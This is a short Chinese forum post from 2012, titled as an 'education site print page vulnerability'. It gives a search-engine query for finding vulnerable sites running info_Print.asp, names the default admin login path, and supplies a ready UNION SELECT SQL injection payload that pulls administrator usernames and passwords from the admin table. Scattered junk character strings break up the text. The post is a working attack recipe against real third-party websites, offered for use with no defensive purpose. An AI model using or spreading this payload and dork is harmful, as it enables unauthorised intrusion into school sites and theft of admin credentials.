教育站打印页面漏洞 `2 S/ P5 K) Q6 G- P4 `; V& `- j
百度或google搜索 inurl:info_Print.asp?ArticleID=$ V% V' C. D" z* H6 M
默认后台：/ad_login.asp
% m1 _9 v/ L; U爆管理员密码：$ i% a! a: b `) ?3 f
在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可& V7 Y. ^9 Z$ L4 Z6 C6 s0 j
5 Q/ X& T, z3 ] ~9 T5 Uunion select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
+ w; B* |( h$ m+ Q; a+ s$ Q1 c9 A# H! h2 t/ C# {
作者：佚名
1 q) F0 h4 b5 e% ? . V: `) G$ m# ~7 F. V6 i4 t
3 q# W1 }; e6 V7 G- p7 x' l! {# ^6 C
|
发表于 2012-10-31 08:37:31
收藏
支持
反对